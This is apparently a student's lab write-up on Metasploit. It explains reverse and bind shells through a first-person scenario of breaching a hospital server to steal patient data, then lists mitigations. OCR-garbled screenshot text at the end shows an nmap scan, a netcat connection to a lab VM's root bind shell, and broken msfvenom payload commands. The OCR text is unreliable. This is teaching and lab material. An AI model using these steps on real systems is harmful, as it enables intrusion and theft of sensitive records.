
	
	
	



Understanding and working With Metasploit!!!
Metasploit:
Metasploit is a potent and popular framework for penetration testing and exploitation that aids security experts and ethical hackers in evaluating and testing the security of networks and computer systems. It is developed by Rapid7 and provides a wide range of tools, exploits, payloads, and modules that enable users to discover, exploit, and validate vulnerabilities in target systems.
Functions and Capabilities:
· Vulnerability Scanning: 
            Metasploit can scan networks and systems to identify vulnerabilities. It leverages a database
            of known vulnerabilities to assist in the discovery process.
· Exploitation: 
           Metasploit is known for its extensive collection of exploits and vulnerabilities. Security
           professionals can use these to simulate real-world attacks and assess the effectiveness of
           security defenses.
· Payloads: 
           Payloads are pieces of code that are delivered to a compromised system after a successful
           exploitation. Metasploit offers a wide range of payloads, including reverse shells, bind shells,
           and various scripting languages, to execute on the target system.
· Post-Exploitation: 
           Metasploit provides a suite of post-exploitation modules that allow testers to maintain control
           over a compromised system. This includes capabilities such as command execution, privilege
           escalation, and data exfiltration.
· Staged and Stageless Payloads: 
           Metasploit supports both staged and stageless payloads. Staged payloads break the payload
           into smaller parts, while stageless payloads deliver everything in a single step. The choice
           depends on the specific use case and target environment.
· Meterpreter: 
           Meterpreter is a post-exploitation shell included with Metasploit. It is highly versatile and has a
           wide range of built-in commands, making it a popular choice for maintaining control over
           compromised systems.
· Payload Handlers: 
           Metasploit provides a payload handler, which acts as a listener for incoming connections from
           compromised systems. It allows the tester to interact with the exploited systems and manage
           Meterpreter sessions.


· Module Framework:
           Metasploit's modular architecture allows users to extend its functionality by writing their
           custom modules. This flexibility enables testers to tailor their tools to specific needs.
· Database Integration: 
           Metasploit integrates with databases, allowing testers to store and manage their findings,
           including scan results, vulnerabilities, and exploitation data.
· Community and Commercial Versions: 
           Metasploit offers both a free and open-source community version and a commercial version
           (Metasploit Pro) that includes additional features and support for enterprise users.

Difference between Reverse Shell and Bind Shell
Reverse Shell:
· A reverse shell is initiated by the target system to connect back to the attacker's system.
· Typically used when the target system is behind a security system or NAT, and the attacker cannot directly initiate a connection.
· The attacker sets up a listener on their system, and when the target system is compromised, it calls back to the attacker's system, providing a remote shell.

Bind Shell:
· A bind shell is set up by the attacker on the target system and listens for incoming connections.
· The attacker connects to the target system's IP address and port, where the bind shell is active, to gain remote access.
· Often used when the target system has a publicly accessible IP address, and the attacker can directly initiate a connection.

Scenario:
Suppose there is a hospital where all the patient databases are uploaded to the cloud. It has a vulnerable web server running on its internal network. I am an attacker here. I found that there was a vulnerability and exploited it to gain access to the server, and I want to take out all the sensitive data of the patients. I decided to use both a reverse shell and a bind shell to achieve my goals.



Reverse shell scenario-
[bookmark: _gjdgxs]I exploited the vulnerability to upload a malicious script to the hospital's web server. Once the script was executed on the server, the reverse shell started in my system, and the connection was established. Now I can execute commands like creating a new patient's account and manipulating their files.
Bind shell scenario-
Now that I have gained physical access to the hospital, I want to target a doctor's system. I will exploit a vulnerability in the system and install a bind shell that listens only to a specific port. After that, I returned to my location and connected the bind shell to the hospital system using my own system. With the bind shell, I can now execute commands and make any changes to the hospital's system.

Mitigation Plan:

· Regular Patch Management: Keep all systems and software up-to-date with the latest security patches to address known vulnerabilities.
· Firewalls and Intrusion Detection Systems (IDS/IPS): Deploy firewalls and IDS/IPS solutions to monitor and filter network traffic for suspicious activities, including unusual connections associated with reverse and bind shells.
· Access Control: Implement the principle of least privilege (PoLP) to restrict user and application permissions, reducing the potential damage an attacker can do if they gain access.
· Security Awareness Training: Regularly educate employees about the importance of cybersecurity, recognizing social engineering attacks, and other common entry points for attackers.
· Network Monitoring: Continuously monitor network traffic and system logs for signs of unusual activities and security incidents.
· Incident Response Plan: Develop a well-defined incident response plan to react promptly and effectively to security incidents, including isolating compromised systems.
· Regular Backups: Maintain up-to-date backups of critical data and systems to restore them to a clean state in case of compromise.
· Penetration Testing: Conduct regular penetration testing and vulnerability assessments to identify and address security weaknesses before attackers can exploit them.





Here is the screenshot of bind shell:[image: ]
This is the screenshot I took reference because in the system it was not working.
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(kali® kali)-[~
[sudo] password for kali:
oot el - /home/kali |
—# nmap V 192.168.1.147 1524
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-24 19:18 EDT
Nmap scan report for 192.168.1.147
Host is up (0.00039s latency).

PORT STATE SERVICE VERSION
1524/tcp open bindshell Metasploitable root shell
MAC Address: 08:00:27:34:3A:21 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 14.14 seconds

soot it - /home/kali
¥ nc 192.168.1.147 1524
root@metasploitable:/# hostname

metasploitable
root@metasploitable:/# whoami
root

root@metasploitable:/# 1s -al,
total 93 i

drwxr-xr-x 21 root root 4096 May 20 2012 .

drwxr-xr-x 21 root root 4096 May 20 2012 ..

drwxr-xr-x 2 root root 4096 May 13 2012 bin

drwxr-xr-x 4 root root 1024 May 13 2012 boot

Lrwxrwxrwx 1 root root 11 Apr 28 2010 cdrom — media/cdrom
drwxr-xr-x 14 root root 13540 Jul 23 19:30 dev

drwxr-xr-x 94 root root 4096 Jul 24 14:46 etc

drwxr-xr-x 6 root root 4096 Apr 16 2010 home
drwxr-xr-x 2 root root 4096 Mar 16 2010 initrd
Lrwxrwxrwx 1 root root 32 Apr 28 2010 initrd.img — boot/initrd.img-2.6.24-16-server
drwxr-xr-x 13 root root 4096 May 13 2012 lib

drwx 2 root root 16384 Mar 16 2010 lost+found
drwxr-xr-x 4 root root 4096 Mar 16 2010 media
drwxr-xr-x 3 root root 4096 Apr 28 2010 mnt

o E — 1 root root 10868 Jul 23 19:30 nohup.out
drwxr-xr-x 2 root root 4096 Mar 16 2010 opt
dr-xr-xr-x 112 root root @ Jul 23 19:29 proc
drwxr-xr-x 13 root root 4096 Jul 23 19:30 root
drwxr-xr-x 2 root root 4096 May 13 2012 sbin
drwxr-xr-x 2 root root 4096 Mar 16 2010 srv
drwxr-xr-x 12 root root © Jul 23 19:29 sys
drwxrwxrwt 6 root root 4096 Jul 24 06:25 tmp

drwxr-xr-x 12 root root 4096 Apr 28 2010 usr

drwxr-xr-x 14 root root 4096 Mar 17 2010 var

Trwxrwxrwx 1 root root 29 Apr 28 2010 vmlinuz — boot/vmlinuz-2.6.24-16-server
root@metasploitable:/# |

root@kali: /home/kali
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[ /home/iai/peskeop/sneh
E  msfvenon -p windows/meterpreter/bind_tcp ¢ exe > /root/Desktop/Sneh/bind
2sh: no such file or directory: /root/Desktop/Sneh/bind.exe
File System
[ [/nome/kati/pesktop/sneh
-~ msfvenon -p windows/meterpreter/bind_tcp f exe > /root/Desktop/Sneh/bind
L ey w—
L nst consote
Home Comnand 'msf’ not found, did you mean
conmand 'msb’ from deb mysql-sandbox
command 'psf’ from deb tcm
command 'mf* from dsb_texlive-binaries
. command "gsf’ from deb libgsf-bin
Try: apt install <deb name>
Sneh [ ) [ /mome/kati/peskeop/sneh
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